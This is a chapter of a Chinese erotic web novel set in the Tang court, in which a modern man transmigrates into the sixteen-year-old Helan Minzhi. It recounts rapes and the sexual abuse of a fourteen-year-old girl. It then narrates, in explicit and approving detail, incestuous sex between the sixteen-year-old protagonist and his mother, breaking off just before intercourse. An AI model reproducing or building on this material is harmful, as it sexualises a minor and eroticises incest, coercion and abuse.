武唐乱1~2[玄幻武侠]
大唐麟德元年腊月,时值天下风调雨顺,百姓阜安,四海生平,万国来贺.
恢弘的长安城内虽然刚刚入夜,却已经是风声鹤唳、人人自危,高门大户尽皆闭
门谢客。大批巡逻的城卫把守在各坊路口严禁出入,但有发现还游荡在外的人一
应拿下。更有身批明亮铠甲的千牛卫将士不断从大明宫中奔出,四散而去,长安
城中衹要不傻的人,都能感觉得到这几天宫中发生了剧变。
然而此刻却有一面冠如玉、英俊无双的小郎君骑着一匹骏马从宫内慢吞吞地
出现. 待到门口,立刻有候在朱雀门外的一众僕役过来对着少年躬身行礼,然后
簇拥着马上的少年阔步离去,虽然衹是一群穿着麻衣的家奴,却个个大摇大摆神
色嚣张,活脱脱一群狐假虎威小人得志的恶奴嘴脸。
踏上宽阔的朱雀街以后,身边牵马打路的一众僕役立刻围着马上少年满脸谄
媚问道:【小郎君,咱们是回府还是去妙音坊寻个乐子】
骑着骏马的少年不耐烦地挥了挥手:【速速回府,不得生事。】
一帮僕役闻言顿时个个满脸失望,心裏一顿腹诽,这小郎君不知道怎麽了一
个月前突然转了性子,以前恨不得天天住在花坊中饮酒作乐昼夜宣淫,连带着他
们这帮恶奴也是个个艳福无边。多少朝廷裏遭了难的诰命夫人、千金小姐都其难
逃毒手,玩腻了就赏赐下来让他们也享乐一下子。看着那些知书达理、温婉秀丽
的小姐夫人们在小郎君的淫威下,不得不曲意迎合他们这些低贱至极的奴僕,实
在是这群刁奴平日裏最大的享受。然而现在却有一个月没再有过此等乐子,个个
抓耳挠腮,心急的不得了,但也不敢造次,衹得乖乖行事。毕竟半个月前刚有个
家奴耐不住寂寞,仗着以往鞍前马后的情分,没把小郎君的严令当回事,跑去千
金公主府上行淫,结果被小郎君知道以后剁了喂狗去了。血淋灕的例子摆在眼前,
众奴谁还敢放肆,要知道之前那个可是自幼陪着小郎君长大的,就这等关系还不
是照样被剁了喂狗,何况他们这些。
马上的少年似乎知道了这群家僕的想法,无奈地叹了口气,这特麽都是什麽
破事啊,虽然自己没少看穿越小说,但是怎麽也想不到自己居然真的穿越了,还
是附身到了十六岁的贺兰敏之身上。贺兰敏之是谁,用大唐第一妖孽来说一点也
不过分。古往今来第一女皇武媚娘的外甥,母亲南*棒夫人武顺娘是皇帝李治的情
人,妹妹贺兰敏月也是被皇帝看上想招进宫的女人。而且人长的是玉树临风、才
华横溢、风流倜傥,少年时可谓是极得皇帝李治和皇后武媚娘的宠爱。
但偏偏是这样一个人,却在作死的道路上越走越远,最后不得善终,被流放
后自缢而死。此人极度好色,而且恃宠而骄,不提那些无奈屈服于他的各种夫人
小姐们,这小子居然和自己外祖母荣国夫人杨氏通姦,公然宣淫作乐,闹得武则
天一肚子怨气,就这样武则天还是捨不得惩罚贺兰敏之,让他改姓武,立他为正
大光明的武家继承人,继承武士彟的应国公爵位,可见有多麽喜爱这个外甥。但
是之后贺兰敏之居然去强姦了即将与太子成婚的太子妃杨婉容,导致太子李弘衹
能忍气吞生另选裴居道的女儿成婚,结果居然仗着武则天的宠爱还在长安城裏飞
扬跋扈,屁事没有。但是贺兰敏之最后好死不死居然敢去猥亵武则天最宠爱的女
儿太平公主,把去他府上玩的太平公主以及一众宫女全给姦淫了,虽然史书上没
写年幼的太平公主有没有遭毒手,但估计十有八九也是跑不了的,最终导致武则
天怒不可遏,但还是下不了狠心杀他,而把贺兰敏之流放到了雷州,结果心高气
傲的贺兰敏之不愿受气,最后自缢而死。
想到这裏穿越而来的贺兰敏之不禁暗骂了一声傻逼,实在是对这副身体以前
主人的行为不屑道了极点. 这个傻逼,武则天把他宠成这样,对他这麽好,不就
是在心裏对他这个美少年有种异样的想法麽,可这家伙玩来玩去,连将要成亲的
太子妃都敢强姦,太平公主都敢猥亵,但就是不去抱武则天的大腿,这才落了个
不得好死。
贺兰敏之细细回忆着历史上将要发生的种种事件,忍不住叹了口气,自己前
世就是个普通人,又不是什麽专业人士,发明创造强国立业是没戏了,自己也没
这个兴趣,还是老老实实度过眼前的难关,抱紧武则天的大腿当个王孙公子得了,
锦衣玉食穷凶极慾的奢侈生活正等着自己去享受,长安无数的贵妇小姐在等着自
己去征服,当然一切一切的前提是自己要抱紧武则天的大腿,爬上武则天的凤榻
将她征服了以后才有可能享受的到。不过这也不是什麽难如登天的问题,通过自
己穿越来一个月的观察,加上后世记载的史书来看,武则天明显对自己有种说不
清道不明的情愫,可不止是单纯姨母宠外甥这麽简单。这一个月进宫时武则天看
着自己那亮晶晶地眼神,说话时拉着自己手不愿松开的行为,更是无一不证明了
自己的猜测.
想到这不由得松了口气,还好穿越来的时间很合适,这副身体还没来得及犯
下太多错误行为,反而通过提前给武则天告密上官仪等人联合起来想要废后的事
情,立下了大功一件。让前不久知道了自己和外祖母杨氏通姦的事后满肚子怨气
的武则天不再计较,恢复了自己自由进宫的权利,还特许宫中骑马配剑,恩宠更
甚从前。虽然心裏有些愧对于上官仪一家子,但是后世过来的自己也知道,就算
没有自己,上官仪也斗不过武则天,自己衹不过是让武则天提前有了准备,在这
场朝堂大清洗中获得到了比历史上更大的利益罢了。
回到皇帝李治赏赐给自己家的南*棒夫人府,贺兰敏之就没由地愤怒不已,他
已经完全容纳了前身的记忆,心裏暗骂这个狗日的色鬼李治,不仅强占了自己风
华正茂的母亲武顺娘给他当情人,肆意狎玩,自己妹妹贺兰敏月也因为生的貌美
如花,也在夏天陪圣驾去华清宫避暑之时献了身,要知道贺兰敏月今年才十四,
放在后世才是个初中女生而已,衹恨当时自己还没有穿越过来,没能来得及阻止。
而且贺兰敏之还知道自己风韵犹存的外祖母杨氏也被李治宠幸过,再加上艳冠天
下的姨母武媚娘,自己一家三代四个名动千古的大美人儿如今都被李治玩了个遍。
此人实在是个禽兽,活该妳死后大唐江山被武则天给占了,李家皇族也被武则天
给各种血洗。现在倒是理解了为什麽历史上的贺兰敏之会为什麽那麽怪癖,会去
强姦李治儿子要娶的太子妃,猥亵李治的女儿太平公主,估计实在是心有怨气想
要去报复李治。不过如今不同了,自己可不是以前那个被满腹戾气冲昏头脑的贺
兰敏之了,以后衹要抱紧武则天的大腿,完全可以用其他方法报复李治,绝对不
能再去干那些作死的傻事了。
李治赏的这座南*棒夫人府倒是富丽堂皇,处处都透漏着盛唐时期巍峨磅礡那
种气势,贺兰敏之来了有一个月了都没能完全逛完,眼下心情不佳更没有心思乱
逛了,直接大步踏进了额灯火通明的正堂。
正堂裏两位衣着华贵的女人正跪坐于榻上,其中一个妇人打扮,风情貌美,
另一位青春活泼,娇俏可爱,正是贺兰敏之的母亲南*棒夫人武顺娘和妹妹贺兰敏
月。
见到贺兰敏之进来,母女二人皆起身相迎,贺兰敏月侧身行礼道:【兄长回
来了。】
贺兰敏之看着娇俏可爱的妹妹嗯了一声,走到二人身边,顿时香风满面,接
着一手搀着一个,虽然隔着衣服,仍感觉入手处一片柔若无骨。三人跪坐于榻上
之后,贺兰敏之清了清嗓子开口说道:【母亲,妹妹,今天去给姨母请安之时我
已经将我的主意说给了她,姨母听后非常开心,夸奖我贴心明事。】
武顺娘黛眉微微蹙起,面带忧虑的开口说:【敏之,我们这样会不会惹恼了
圣上,怪罪于我们】
【母亲不必担心,姨母刚刚挫败了上官仪等人联合的谋逆之举,眼下无论在
宫中还是朝堂都威势正隆,李治这个禽兽也不得不暂避锋芒,而且他于心有愧,
不会名目张胆对我们怎麽样的。】
【唉,妳姨母当年忍辱负重,四处联合纵横,才助圣上扳倒长孙无忌一系,
让圣上得以真正执掌大宝,这数来年为了讨他欢心,不是我和娘,连敏月都遭了
殃,如今他却顾忌我们武家势大,丝毫不唸往日情分想要废后,实在是……】说
着说着,武顺娘眼泪就止不住流了下来。
看到母亲武顺娘伤心落泪,自己衹得过去轻抚着她安慰道:【母亲,不要为
了那个禽兽不如的人伤心,他根本不配,衹是孩儿之前所说的,母亲千万要记下。
待上官仪谋逆案查完之后,立刻再次进宫求姨母做主为妳改嫁,为妹妹挑选夫婿,
尽快成婚,切不可让姨母认为妳们二人将要进宫与她争势,不然我们母子三人危
矣。】
【这……】虽然这一月之中已经被儿子告诫许多次了,但武顺娘此刻仍有些
犹豫,美目闪烁,似乎还抱有一丝希冀。
贺兰敏之一看就明白自己这个便宜母亲因为性子极为懦弱恭顺,丝毫不懂得
反抗,要不然也不会被姨母武媚娘三言两语就给骗去献给了李治。如今当了李治
数年的情人,更是已然把这个禽兽当成了自己后半生的依靠,思想一时转不过来,
完全看不清其实已经大难临头了,不由得有些恼怒。原本轻抚在武顺娘香肩的双
手紧紧抱着她勐烈摇晃,大声喝道:【母亲,别再冥顽不灵了,想想王皇后和萧
淑妃!姨母这些年日益强势,母亲妳却被李治各种恩宠,怎能不遭姨母嫉恨,妹
妹在华清宫之时又不知分寸,已经彻底惹恼了姨母,再不悬崖勒马,妳们母女二
人都将死无葬身之地!】
这一句死无葬身之地,几乎是贺兰敏之扯着嗓子怒喊出来的,自穿越这一个
月以来自己继承这副身体所感受到的屈辱,对知晓自己和母亲以及妹妹将来悲惨
结局的恐惧,全部宣泄了出来。喊完以后,顿时感觉自己全身酣畅淋灕,一月以
来憋屈消散不少。
旁边天真烂漫的贺兰敏月直接被吓哭了,捂着俏脸香肩不停地抽搐。武顺娘
也被突然暴怒的儿子给吓住了,本来被儿子这样商讨这种事情就让她已经十分难
堪,此刻更是吓的六神无主,唯唯诺诺不知说什麽好,过了好一会才回过了神儿
来,不由得轻声唿痛。原来此刻贺兰敏之仍保持着刚才在她身侧双手搂着她摇晃
时的动作,虽然没再继续摇晃,但贺兰敏之强劲的双手却依旧死死掐着她的香肩,
刚才神思不属,感觉不到疼痛,此刻回过神儿来柔弱的肩膀立刻传来痛楚。
听到武顺娘轻声唿痛,贺兰敏之才意识到自己刚才把母亲捏疼了,立马松开
了手,但谁知武顺娘遭逢惊吓之后浑身没了力气,玉体软软地靠在了自己怀中。
香喷喷的丰腴肉体靠在自己怀裏,一月不知肉味的贺兰敏之下身立马有了反应,
阳具勃然而起,这个时代又没有内裤什麽的,直接隔着锦衣顶在了武顺娘柔软的
腰际.
早已是过来人的武顺娘如何不明白是儿子被自己这般动作给刺激到了,心裏
羞耻至极,虽然隔着衣服,却仍然能清晰感觉到儿子那处此刻是何等的威武雄壮,
心下更加慌乱,赶忙挣扎着想要直起身子,可全身却是使不出什麽力气,反而变
成了在男人怀中扭动身子求欢的不堪模样儿。
搂着武顺娘的贺兰敏之不知道原因,不明白他这位一向在自己面前端庄淑容
的母亲为何会主动靠向自己怀裏,甚至在自己阳物顶在她身上以后还犹如水蛇一
般扭动着玉体勾引他。心想着唐朝女人还真是开放,完全不惧伦常,先是不堪寂
寞风韵犹存的杨氏与他这副身体之前的主人勾搭成姦,然后母仪天下风华绝代的
姨母恨不得吃了他,现在自己这穿越而来的亲生母亲也来诱惑自己,身为现代人
简直不敢想象,实在是太疯狂了。
现在的贺兰敏之可不是以前那个灵魂了,后世不知道看过多少日本AV电影
的他对于乱伦可谓是无比期待与兴奋,一直想尝试一番其中的滋味,不过身处现
代社会中实在没有勇气。现在来到封建伦理观唸最薄弱的大唐,无论如何也得尝
试一下其中滋味。感觉到这副身体的亲生母亲正靠在自己怀裏风骚扭动,认定这
是在诱惑自己以后,贺兰敏之如何憋得住,原本搭在母亲武顺娘肩上的手悄悄顺
着背部一路抚摸而下,最终覆在了那诱人的丰腴肉臀之上,隔着冬日裏颇为厚重
的宫装大力揉捏了几把。武顺娘现今才三十四岁,成为李治的情人以后过得是养
尊处优,还得到了宫中秘方,保养的非常不错,不光弹性几乎如双十少女一般,
还另有一分成熟妇人才能有的丰腴肥软。贺兰敏之越捏越是兴奋,尤其手中这肉
臀的主人还是自己这副身子的亲生母亲,旁边还有正在哭哒哒的妹妹,更加兴奋
不已,完全不捨得放手。
武顺娘成熟敏感的身子哪经得住这等揉捏挑逗,没几下就浑身酥软,羞处更
是空痒难耐,衹感觉有一丝丝水儿从那裏面渗出,虽然知道母子这般行为是乱了
纲常,却衹能继续靠在贺兰敏之怀裏,轻咬着樱桃小口,完全不敢乱动。她知道
自己这个儿子因为自幼丧父,又生的聪明伶俐英俊不凡,十分惹人疼爱,小时候
被自己和妹妹宠上了天,后来这几年长大了知道了自己心裏一向敬爱的母亲外祖
母姨母三人同侍一夫以后,长安城裏那些王孙公子们都在偷偷耻笑于他,不屑与
他相处,结果让这宝贝儿子性格变的极为怪癖,从此变了个人儿一般,荒唐事干
了一件又一件,自己和母亲妹妹三人又都知道原因,心有愧疚之下对他更加怜爱
无比,妹妹媚娘更是时不时送些宫女过来供他羞辱玩乐,以泄他心中的怨气,导
致他愈来愈无法无天。还好他不知道其实他的母亲和外祖母早已被他两位舅舅淫
玩了十几年,被调教的一身媚功无双,不然她真的衹有去死这一个唸头了。暑天
华清宫避暑回来以后,在得知妹妹也遭了圣上毒手以后,怕他闹翻天还是杨氏亲
自上阵才把他劝住了,结果就是导致他在荣国夫人府上整日宣淫,无人敢管。直
到妹妹媚娘听到了风声,本要严惩让其改过自新,偏偏杨氏捨不得又入宫求情,
妹妹媚娘最终顾唸母女情分,也心疼这个孩子,最后衹能不了了之。
看到端庄婉约的母亲武顺娘,被自己轻薄也丝毫不敢挣扎的贺兰敏之心中一
阵得意,这种性格婉约柔顺的古典美人儿实在是太好得手了,衹需男人强势一点,
她们就完全不知道怎麽抗争了。以前的贺兰敏之就性格怪癖,让武顺娘无法管教。
自己这段时间又不断在她面前痛斥厉害,惹的她每天心裏都惴惴不安,唯恐妹妹
武媚娘突然一道懿旨将她赐死,不得不把身家性命全寄托在了自己这个刚在皇后
面前立了大功的儿子。再加上古代女人夫死从子的这个理唸,可以说现在的武顺
娘在自己这亲生儿子面前已经像是一衹温顺听话的绵羊一般了。
穿越而来的贺兰敏之淫心越来越来,一般搓揉着母亲武顺娘的肉臀,一边故
朝旁边还在抽泣的妹妹安慰道:【敏月别再哭了,哥哥已经说通了姨母,不再计
较妳之前的骄纵之举,衹要妳接下来在府裏安分守己,姨母不会把妳怎麽样的。
】
贺兰敏月一听赶忙停下了抽泣,满脸惶恐的问道:【真的麽姨母真的饶过
敏月了】这段时间她实在是被吓坏了,被哥哥带着在长安城裏看那些来来往往
不断抓人的将士,到处都是腥风血雨家破人亡的的悲惨场面,让自小衹见识过姨
母武媚娘慈爱一面的她,心中充满了恐惧。
贺兰敏之也是无奈,这两兄妹都是会够作死的。自己这貌美如花的傻妹妹还
以为被李治那个禽兽宠幸过以后就可以一飞冲天,居然敢仗着恩宠去要皇后的凤
冠霞帔穿,那会李治刚得了个这麽娇滴滴的小美人,自然对贺兰敏月的要求是无
有不允,这才彻底惹恼了姨母武媚娘,还没进宫就穿上了皇后的凤冠霞帔,入了
宫岂不是要骑到她头上恐怕已经打定主意衹要贺兰敏月一入宫,立马就将她毒
杀。而历史上贺兰敏月和武顺娘也就是明年麟德二年被武则天害死的,所以知道
未来会发生什麽的贺兰敏之在弄清楚原因以后直接了来一招釜底抽薪,让贺兰敏
月嫁人,让母亲改嫁,想来如此之后再也不会进宫威胁到武则天地位的这母女俩,
就可以逃脱明年被毒杀的悲惨结局了,而且这招也是正大光明,女人改嫁在唐朝
来说是再普通不过了,光改嫁过的公主就不计其数,而贺兰敏月明年十五也到了
该嫁人的年纪,这一招于情于理都说的过去,纵然李治这个色鬼心中不满,也不
可能在明面上阻止,至于暗中使些手段什麽的,衹要抱着武则天这根大腿,完全
可以应付得来,武则天肯定是很乐意让这母女俩嫁人,再也不能入宫得到什麽名
份后危及于她。
想到这贺兰敏之不禁为自己的机智洋洋得意,自己可是这母女花的救命恩人,
让她们用身体报答一下自己又能怎样。搓揉着母亲武顺娘的手愈加放肆,已经从
丰腴肉臀转移到了股沟,正用中指悄悄撩拨着那片桃花源。低头看去,已经面若
桃花的武顺娘此刻连雪白优雅的脖颈都泛起了粉红之色,却依旧表现的柔弱顺从,
乖乖地任自己这个儿子狎玩,如此一位任君采摘的美妇人恐怕任何男人看了都忍
不住想要将其压在身下肆意征伐。
感觉兽慾已经有点忍不住了,贺兰敏之赶忙又胡乱安慰了妹妹几句,让她下
去闺房收拾一下哭花的小脸蛋,贺兰敏月悄悄打量了几眼正软软靠在哥哥身上的
母亲,有点手足无措,脚步慌乱的跑了出去。
自己这副羞耻的模样儿被女儿瞧见,武顺娘感觉脸都烧透了,虽然曾经和女
儿一起服侍过李治,但那毕竟是皇帝,当时两人心裏充满了紧张惶恐,衹想着如
何讨好皇帝,哪还有心思羞耻.
看到妹妹匆匆逃走以后,贺兰敏之微微皱了下眉头,感觉自己这样当着妹妹
的面就猥亵母亲有些过分了,毕竟是个现代人,初来大唐一时之下还没法变得像
以前那个贺兰敏之那样无法无天,不太适应这种可以为所慾为的生活。
哪知道武顺娘正好此时偷偷看了一眼这个宝贝儿子,一看他英俊的脸上剑眉
微蹙,还以为他恼了,心裏一片焦急,忍不住胡思乱想了起来,既然儿子看上了
自己这已经骯脏不堪的身子,与其让长安城裏那些贱妇整日勾引自己这玉树临风
的宝贝儿子,还不如干脆把自己给了他算了。想到这武顺娘赶忙讨好似的整个身
子都投入了儿子怀裏,胸前一对玉峰直接贴在贺兰敏之身上。
感受着母亲武顺娘胸前那惊人的尺寸和柔软,贺兰敏之彻底忍受不住了,感
觉自己阳物已经憋的要炸了一般,急切的想要发泄,但是却不捨得直接进入正题,
毕竟怀裏的女人可是艳名传千古的武顺娘,大唐皇帝李治的情人,更是自己穿越
后的亲生母亲,不好好玩一下实在是暴殄天物。
迅速思索了一下后世自己所看过的AV之后,贺兰敏之情不自禁淫笑了几声,
听得武顺娘羞愧难当,几慾挣扎而出,但最终还是鼓不起勇气,轻轻叹了口气。
听见母亲武顺娘轻叹,贺兰敏之凑到她耳边戏谑道:【娘,您累了,让孩儿
送妳回房吧。】
武顺娘不敢去看自己儿子此时戏虐的表情,微微点头语气轻柔道:【嗯…】
完全一副见到相公的小媳妇模样。贺兰敏之一听,彻底放下了自己身为现代人最
后的心裏压力。想着这可是妳先诱惑我的,刚才连私处都肯给我摸,被摸了以后
还投怀送抱,主动把奶子贴在我身上。现在我要送妳回房妳还不拒绝,这不是明
白着让我上妳麽,既然如此可就别怪我了。
武顺娘偎依在贺兰敏之怀裏,就这样任由他搂着走出了正堂,侍在门口几位
婢女刚打算过来搀扶这位南*棒夫人,却被贺兰敏之全部喝退了下去,几位细心的
婢女立刻就发现了南*棒夫人的异常,赶忙躬身退了下去,这种事她们可不敢看。
贺兰敏之邪恶地笑了笑,让母亲武顺娘这堂堂南*棒夫人在婢女面前被亲生儿
子非礼,感觉真是刺激。不过也不能太过分,毕竟以后还要靠母亲武顺娘掌家,
自己也没时间去管那些婢女家僕田产什麽的,得让她保持一定的威严,也好随时
让自己玩一下这种羞辱她的小调调,要是把武顺娘这等名传千古的大美人儿弄成
千金公主那样连自己家奴都敢去她府上宣淫的破鞋可就没意思了。
穿过正堂后面灯火透明的长廊之时,贺兰敏之已经将手揉上母亲武顺娘高耸
的酥胸,武顺娘敏感部位被侵犯之后,原本就已经燥热难耐的身子再也忍受不住,
柔媚的呻吟不由得轻轻哼了出来,扭动着玉体哀求道:【敏之…住手…等到了屋
裏再…】
贺兰敏之哪捨得放手,继续贪婪地搓揉着武顺娘丰腴的肉体,揉的武顺娘是
面红耳赤娇喘连连,身子犹如美人鱼一般不断扭动。
如此诱人美妇在自己怀裏扭动,贺兰敏之也是被诱惑地直喘粗气,心脏砰砰
跳的非常厉害,身子都有些激动的发抖了。
武顺娘察觉到一向性格怪癖的儿子被自己这身子居然迷得如此急色,心底居
然隐隐有些自豪,扭动地愈加魅惑,含羞带媚的剪水双瞳也忍不住看向了宝贝儿
子那星神朗逸的眼睛。正好和贺兰敏之对上了眼。衹一眼,武顺娘就感觉自己被
征服了,彻底沈迷在了其中。那眼中包含着最爱的儿子对自己深深的爱慕、依恋,
以及赤裸裸的慾望……贺兰敏之看着痴痴望着自己的母亲武顺娘笑歪了嘴,这贺
兰敏之真不愧是在史书裏都极尽赞赏的美男子,在这女性十分豪放的长安城,每
天不带一大批家僕都不敢出门. 这一个月以来,每当自己故意深情地望着对方时,
连睥睨天下的皇后武媚娘都挡不住,何况一心一意都扑在自己身上的母亲武顺娘。
正沈醉于亲生儿子那深邃目光的武顺娘,突然感觉身子一轻,却是被贺兰敏
之给拦腰抱了起来,不由惊唿了一声,双手本能地环在了儿子脖子上。如此亲密
的动作,武顺娘心底不禁涌起了一片柔情蜜意,一颗芳心如小鹿乱撞,臻首紧紧
贴在儿子胸膛,那充满男人气息的胸膛,让武顺娘愈发的沈醉……贺兰敏之抱着
母亲武顺娘走进她的香院,进屋以后顺带反脚将门勾上,将她轻轻放在床榻之上,
动作轻柔而又细心,仿佛对待一件稀世珍宝一般小心翼翼。武顺娘被儿子这般呵
护备至,心儿都快要化了,被放下以后一双藕臂还紧紧勾着贺兰敏之脖子,不捨
得松开.
【娘,让孩儿去插上门闩. 】贺兰敏之在母亲武顺娘娇艳的脸颊吻了一下,
伏在她耳边低声说道。
武顺娘这才意识到自己身为母亲,这般行为是在太不自重了,唯恐以后儿子
看轻自己不再珍惜,赶忙嘤咛一声放开了手。
虽然武顺娘的两位贴身婢女早已让他给喝退了,府中馀下的下人们也不敢随
意在内宅走动,不过还是插上门闩毕竟保险一点. 插上门闩之后,贺兰敏之回到
了乖乖躺在床榻上的母亲武顺娘身边,准备伸手去拉开她的裙腰。
武顺娘柔顺懦弱的性格让她一直以来对男人都是极尽讨好奉承,何况还给皇
帝当了几年情人,早已经养成了主动服侍人的习惯. 当下坐起来强忍着羞燥颤声
道:【敏之…让娘…为妳更衣吧…】
贺兰敏之闻言轻轻托起武顺娘圆润细腻的下巴,在灯光下审视着着自己这位
倾国倾城的艳美母亲. 衹见黛眉杏眼、翘鼻唇红、骨肉均匀、妖娆有致,如雪般
精致白皙的脸颊,眉心贴着金色花钿,乌黑的长发盘在脑后,插在高髻上一衹四
风金步摇微微颤抖,一席暗红色对襟宫装,饱满傲人的双峰在衣襟下唿之慾初,
由于侧坐于床榻之上,宫裙正紧紧包裹着丰腴肉臀,勾勒出一道诱人的曲缐。
武顺娘不堪直视,微微撇过了脸庞,被儿子这样肆无忌惮的欣赏身子但心裏
却没有丝毫被轻薄的感觉. 衹感觉好像少女怀春,满心都是甘甜,柔情蜜意包裹
着全身,让她甚至都不敢唿吸,生怕打断了此刻这缱倦缠绵的场景。
贺兰敏之欣赏了一会,张开张手坏笑道:【那就请娘为孩儿更衣吧~ 】
【嗯…】武顺娘柔媚的应了一声,动作异常温柔地为贺兰敏之除下貂裘披风,
接着摸索着解开了外袍的腰带,隔着裏衣柔情地抚摸着儿子炽热的胸膛,动情地
将脸贴在上面摩挲道:【敏之…娘愿意把这身子给了妳…但是今后妳要好好的疼
爱娘亲,好麽】说完就拉开了自己宫裙的束腰丝带。
【嗯,今后孩儿定当为娘赴汤蹈火、在所不辞!】贺兰敏之就算没继承以前
得记忆,此刻也能感受到母亲武顺娘对自己的依恋。
【好孩子,娘亲有妳这句话就…嗯…】却是贺兰敏之已经将嘴吻上了她的红
唇,再也说不出半个字来。
贺兰敏之狂热的亲吻着母亲武顺娘柔软香甜的朱唇,舌头迫不及待伸了进去,
顿时直感觉唇齿生香。双手顺势探上武顺娘已经大开衣襟,没有了厚厚的宫裙,
裏面衹还剩一层薄纱,随手拉开这层仅剩的薄纱,那弹软硕大的乳房就已经握住
了掌中。
又大又软又有弹力,贺兰敏之忍不住心裏赞了一句,这可是后世极品御姐才
能有的配置,以前得自己做梦都想不到自己有一天能将这一对极品玉乳握在掌中,
结果来了大唐却得来全不费功夫,老天爷真是带自己不薄,改天得去上上香好好
感谢一下老天爷。
武顺娘被捏的轻呓出声,从没享受过如此狂乱热吻的她更是心绮神荡,极尽
所能的配合着,灵巧的香舌也主动伸了过来,不断挑拨着贺兰敏之的神经。
一通狂乱的热吻之后,两人有如干柴烈火一般,此刻再也不需要什麽言语.
在那双不断在自己胸上作怪的大手向滑下去之后,武顺娘配合地抬起了丰臀,让
儿子轻轻松松拉开了自己亵裤。
贺兰敏之用手抚上了母亲武顺娘的芳草地,才发现那儿已经是一片湿泞。肥
软的阴阜口正不断往外溢着蜜汁。心裏一乐,看来自己这淑容端庄的便宜母亲已
经是慾火焚身了。接着手指缓缓往洞穴深处探去,却谁知武顺娘却已经嘤咛一声,
玉体直接瘫软了下去,赶忙伸手搂住了她。
【敏之…莫要…再…折磨娘亲了…】母亲武顺娘浑身酥软,断断续续地哀怨
道。
【嘿嘿,孩儿明白。】贺兰敏之坏笑不已,不再继续调戏母亲武顺娘了。将
她瘫软的身子放到榻上,胡乱拉开裏袍将兜裆布扯了下来,阳具狰狞,喘着粗气
扑到武顺娘丰腴的身子上。
武顺娘强感受着儿子充满男子气息修长的身材压在自己玉体之上,硕乳都被
压成了一团肉饼。强忍着私处的空虚,夹杂着羞耻媚声问道:【敏之…可需要娘
亲为妳…为妳品萧弄玉…】
贺兰敏之闻言停止了准备侵犯的动作,没想到自己这个艳母第一次要发生关
系就肯为自己口交,还以为需要循序渐进慢慢征服呢。他却不知道武顺娘本就是
柔顺至极的性子,父亲死后十几岁时便同父异母的两位哥哥破身,淫辱了数年。
好不容易嫁了个如意郎君脱离他们的魔爪,可是没多久又年轻守寡,当孤儿寡母
回到长安哥哥家裏,理所当然又陷到了他们的手中,甚至后来连两个年幼的侄子
也加入了其中。为了能让儿子和女儿过上富贵日子,武顺娘不得不虚以委意献身
讨好。直到几年前武媚娘当了皇后,将她们两个同父异母的哥哥流放到了外地,
她才算是摆脱了折磨。更是托妹妹武媚娘的福,当上了皇帝李治的秘密情人,摇
身一变成为了南*棒夫人,本该从此扬眉吐气,但却因为已经被调教的淫荡身子,
懦弱柔顺的性子,继续和两位侄子保持着关系,这才养成了她这种在床上贴心顺
从的极端习惯.
武顺娘感觉到儿子不再动作,已然明白自己该怎麽做了。妖娆地身子一扭,
与儿子贺兰敏之交换了体位,接着犹如美人鱼一般游动到他胯间,媚眼如丝的望
了儿子一眼,瞧见儿子那急切的眼神之后,柔柔一笑,低头在龙首印了一口,然
后张开朱唇吞了进去。
【嘶…】贺兰敏之忍不住倒吸了口凉气。能享受到大唐皇帝李治的艳美情人,
自己这副身体的亲生母亲为自己口交,心裏的得意感实在是太爽了。
看到儿子被自己品萧时露出如此满足赞赏的亲热神色,武顺娘心中一阵宽慰。
这几年由于自己当了皇帝的情人,儿子心裏怨怒,母子之间的关系已经逐渐疏远,
让她这个一向爱煞了儿子的母亲每天都痛苦不已。好在这宝贝儿子一个月前突然
转了性子,不但和她这个母亲关系亲密了起来,更是费心费力为自己化解将来的
危机,让她高兴之下更是心生感动,别说为他品萧弄玉这种事情,现在她恨不得
将心儿都掏出来给了他。
武顺娘口中含着贺兰敏之的男根,极尽所能地卖力吞吐,灵活的香舌上下翻
卷,白凈的小手轻柔地抚摸着卵袋,还时不时将其含入口中舔弄吸裹,媚眼如丝
儿不断向宝贝儿子勾去。
贺兰敏之爽得不行,实在没想到平时看起来那麽高贵端庄的堂堂南*棒夫人,
在床上居然如此妩媚诱人。不过想来也不难理解,毕竟是要讨好皇帝的情人,平
时一向养尊处优,什麽事都不用去操心,衹需在床上时能讨得皇帝高兴,一切荣
华富贵就都有了,怎能不在这种事上上心
想想母亲武顺娘以前也经常这样服侍李治那个色鬼,虽然自己是后世穿越而
来的,可毕竟继承了之前贺兰敏之的记忆,穿越以后武顺娘又对自己关怀备至细
心呵护,让他在心裏已经把武顺娘当成了自己至亲之人,心底不由得一阵憋屈,
有些阴暗的情绪渐渐滋生。他还不知道其实武顺娘这一番媚态是被她两个禽兽哥
哥调教出来的,不然更得气炸。
贺兰敏之望着咽喉鼓起将自己阳具近乎全部吞没的武顺娘,调笑道:【娘,
想不到妳的口技居然如此之好!】
武顺娘惶恐地望着宝贝儿子突然冷下的俊脸,努力吞咽着香津,想让宝贝儿
子的阳物能在自己口中得到更多的享受,虽然胃裏磙磙翻腾已经让她非常难受,
但却死活不愿吐出。她实在是爱煞了这个宝贝儿子,生怕一不小心回到以前那种
如同陌生人一般的母子关系,她再也忍受不了那种失去挚爱心如刀割的痛楚了。
看见母亲武顺娘那绝美脸庞上诚惶诚恐的表情,慾眩慾泣的杏眼,强忍着难
受也要为自己深喉的讨好模样儿,贺兰敏之心中自责不已,如此疼爱自己的母亲
自己居然还心生怨恨,实在是没有人性,亏自己还是个21世纪的文明人。赶忙
轻抚着母亲武顺娘盘在脑后的秀发,安慰道:【孩儿错了,不该如此对您冷颜相
对。娘快吐出来,妳会受不了的。】
可谁知武顺娘却含着阳根勐烈摇头,想说几句讨好的话儿,却不敢松开阳根。
嘴裏呜呜了低吟了几声,已然快要哭出了。
贺兰敏之明白是自己一惊一乍之下让母亲武顺娘已经有些精神崩溃了,一会
得好好安慰一下,不能让她留下什麽心理阴影,自己可不想让这位姿容艳丽的母
亲,堂堂的南*棒夫人,未来在自己面前变成受了惊小白兔一般,那样实在太无趣
了,要让她保持以往的高贵端庄,含羞带媚,那样玩起来才有意思,但是眼下自
己该怎麽让她不再害怕呢。
想了想之后,贺兰敏之有了主意,语气威严的命令道:【娘亲,翘起香臀,
敏之要干您的阴穴。】
武顺娘闻言果然迅速止住心情,对着贺兰敏之媚笑了一下,安心松开了朱唇,
她还以为刚才儿子对她的安慰是怒急之后说的反话,现在听到宝贝儿子想要肏她
的命令,这才放下心来,知道了儿子不会离她而去。当下顾不得羞耻转身跪于床
榻之上,将衣襟大开的宫裙下摆撩到腰间,撅起丰腴肉臀,臻首回转,望着儿子
满脸妩媚地小声说:【敏之…请怜惜娘亲】
贺兰敏之咽了口唾沫,眼前三十四岁的母亲武顺娘,此刻真是人间绝色。暗
